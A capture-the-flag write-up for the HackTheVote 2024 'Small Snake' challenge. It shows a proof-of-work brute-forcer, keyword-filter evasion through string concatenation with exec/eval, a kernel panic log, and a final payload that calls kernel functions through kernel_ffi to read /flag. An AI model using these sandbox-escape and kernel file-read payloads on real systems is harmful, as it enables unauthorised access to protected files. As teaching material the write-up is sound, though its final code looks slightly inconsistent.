Post

HackTheVote 2024 - Small Snake

Python forensic ?!?!?

HackTheVote 2024 - Small Snake

Introduction

This chall is kind of “forensic” but actually its not XD, takes me almost 2 days and “almost” solve this, fun and its worth a try! You can deploy the chall here.

Overview

Firstly, you need a python script to bruteforce the input for initializing the challenge (ofc i used ChatGPT for that)

Here is the script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashlib
import sys

# Function to find valid input with a given base string
def find_valid_input(base_string):
    input_counter = 0
    while True:
        input_str = str(input_counter)
        combined_string = base_string + input_str
        sha256_hash = hashlib.sha256(combined_string.encode()).hexdigest()
        if sha256_hash.endswith('000000'):
            return input_str, sha256_hash
        input_counter += 1

# Check if base string was provided in command-line arguments
if len(sys.argv) < 2:
    print("Usage: python script.py <base_string>")
    sys.exit(1)

# Get base string from command-line arguments
base_string = sys.argv[1]

# Find a valid input with the specified base string
valid_input, resulting_hash = find_valid_input(base_string)
print(f"Input: {valid_input}, SHA-256 Hash: {resulting_hash}")

At first glance, ofc we dunno what is this shit, after typed randomly sth that i knew that is python interpreter console.

Then, after spending all the morning to find out what i need to do, i dive into all builts-in python function, then i have that 2 key functions: eval and exec that helps us bypass the validation, and also the environment variable. I’ve spent all the day to test everything that i could do:

1
2
3
4
5
6
7
8
9
10
11
12
13
> var = '_'
> var2 = 'o'+'p'+'e'+'n'
> var4 = 'i'+'m'+'p'+'o'+'r'+'t'
> var3 = var + var + var4 +var+var
> var5 = var3 + "('builtins')."
> var1 = "with " + var5 + var2 + "('/flag', 'r') as f: result = f.read(); print(result)"
> print(var1)
 with __import__('builtins').open('/flag', 'r') as f: result = f.read(); print(result)
> exec(var1)
 Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
   File "<string>", line 1, in <module>
 AttributeError: 'NoneType' object has no attribute '__exit__'

This is the payload that i trying to do, but that not that simple, after diving more deeper, i found that this console using micropython and all modules that available by the commit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var = 'he'+'lp()'
> eval(var)
 Welcome to MicroPython!

 For online docs please visit http://docs.micropython.org/

 Control commands:
   CTRL-A        -- on a blank line, enter raw REPL mode
   CTRL-B        -- on a blank line, enter normal REPL mode
   CTRL-C        -- interrupt a running program
   CTRL-D        -- on a blank line, exit or do a soft reset
   CTRL-E        -- on a blank line, enter paste mode

 For further help on a specific object, type help(obj)

> var="he"+"lp('modules')"
> eval(var)
 __main__          kernel_ffi        uctypes           ustruct
 _thread           micropython       uerrno            usys
 builtins          uarray            uio               utime
 gc                ucollections      umachine
 Plus any modules on the filesystem

module uio seems suspicious, but still not works :(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
> var4 = 'i'+'m'+'p'+'o'+'r'+'t'+ ' uio'
> var2 = 'o'+'p'+'e'+'n'
> exec(var4)
> var1 = "content = uio." + var2 + "('/flag', 'r').read()"
> exec(var1)
 Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
   File "<string>", line 1, in <module>
 AttributeError: 'NoneType' object has no attribute 'read'


 > var3 = 'for line in uio.' + var2 + '("../../../..flag", "r"): print(line)'
> print(var3)
 for line in uio.open("../../../..flag", "r"): print(line)
> exec(var3)
 Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
   File "<string>", line 1, in <module>
 TypeError: 'NoneType' object isn't iterable

I find everything inside each module, even kernel_ffi (I thought that everything here just relevant to the hardware, i dont know that is the thing brings us to the flag TvT):

1
2
3
4
5
6
var4 = 'i'+'m'+'p'+'o'+'r'+'t'+ ' kernel_ffi'
> exec(var4)
> var = 'd'+'ir'
> eval(var+'(kernel_ffi)')
 ['__class__', '__name__', 'bytes', 'str', 'KP_ARGS_MODIFY', 'KP_ARGS_WATCH', 'KP_REGS_MODIFY', 'KP_REGS_WATCH', 'Symbol', 'auto_globals', 'callback', 'current', 'kmalloc', 'kprobe', 'p16', 'p32', 'p64', 'p8', 'symbol']

Before that, somehow i leaked the bios of the micropython kernel, i also tried to find this BIOS’s (vulnerability)[https://github.com/advisories/GHSA-7533-c28p-jp9p] but stills hopeless or i didnt found the right things :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var4 = 'i'+'m'+'p'+'o'+'r'+'t'+ ' builtins'
var = 'd'+'ir'
 eval(var+'(builtins.OSError.' +var1+var1+'class'+var1+var1+')')



 micropython.mem_info()
 mem: total=43516, current=16080, peak=17581
 stack: 1136 out of 15204
 GC: total: 8291328, used: 16928, free: 8274400
  No. of 1-blocks: 77, 2-blocks: 10, max blk sz: 32, max free sz: 258570




 fatal error 'nlr_jump_fail', killing current task 'a'
[  180.844640] Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000000
[  180.846569] CPU: 0 PID: 1 Comm: a Tainted: G           O      5.4.0 #1
[  180.847441] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[  180.848628] Call Trace:
[  180.850390]  dump_stack+0x50/0x70
[  180.850623]  panic+0xf6/0x2b7
[  180.850924]  do_exit.cold+0x4e/0xfb
[  180.856332]  die+0x4f/0x50 [mpy]
[  180.858949]  ? nlr_jump_fail+0xc/0x10 [mpy]
[  180.859861]  ? nlr_jump+0x1e/0x57 [mpy]
[  180.860036]  ? mp_raise_msg+0x12/0x20 [mpy]
[  180.860367]  ? m_malloc_fail+0x20/0x40 [mpy]
[  180.861050]  ? m_malloc+0x44/0x50 [mpy]
[  180.861231]  ? vstr_init+0x20/0x30 [mpy]
[  180.861406]  ? device_ioctl+0x39/0x80 [mpy]
[  180.862574]  ? do_vfs_ioctl+0x3f0/0x650
[  180.863235]  ? ksys_ioctl+0x59/0x90
[  180.863489]  ? ksys_read+0x5a/0xd0
[  180.864077]  ? __x64_sys_ioctl+0x11/0x20
[  180.864382]  ? do_syscall_64+0x43/0x110
[  180.864671]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  180.869655] Kernel Offset: 0x16400000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[  180.876970] ---[ end Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000000 ]---

I also try possible payload on HackTrick, but stills not works

1
2
3
4
5
6
7
8
var4 = 'i'+'m'+'p'+'o'+'r'+'t'+ ' builtins'
exec(var4)
var = '_'
var1 = 'he'+'lp'
eval(var1+'(builtins.dict.'+ var+var+'dict'+var+var+')')
eval(var1+'(builtins.dict.'+ var+var+'dict'+var+var+ '["license"]' ')')
=> KeyError: license

Finish exploitation

Finally, i almost reach the crucial clue in the micropython github (i remember that i just skimming all that shit, i thought that its just the hardware TvT)

Then after the contest ended, i know that the symbol method on modules kernel_ffi is used to call the exported functions or variables that are accessible for use by loadable kernel modules or other kernel components. There are function filp_open is a Linux kernel function used to read from a file represented by a file structure (struct file) in kernel space.

1
2
3
4
5
6
7
8
9
10
11
12
13
    var4 = 'i'+'m'+'p'+'o'+'r'+'t'+ ' kernel_ffi'
    exec(var4)
    func = "filp_o"+"pen"
    ffi = kernel_ffi.symbol(func)
    file_path = "/flag"; flags = 0; mode = 0
    var2 = "file = filp_o"+"pen(file_path, flags, mode)"
    exec(var2)
    buffer = kernel_ffi.kmalloc(4096)
    kernel_read = kernel_ffi.symbol("kernel_read")
    pos = 0
    bytes_read = kernel_read(file, buffer, 4096, pos)
    data = kernel_ffi.str(buffer)
    print(data)

flag{its_like_rust_in_the_kernel_but_better}

GGWP, that was amazing challenge, thank to the author wait_what from RPISEC for this chall (i still dont know why its even forensic.)

This post is licensed under CC BY 4.0 by the author.

Trending Tags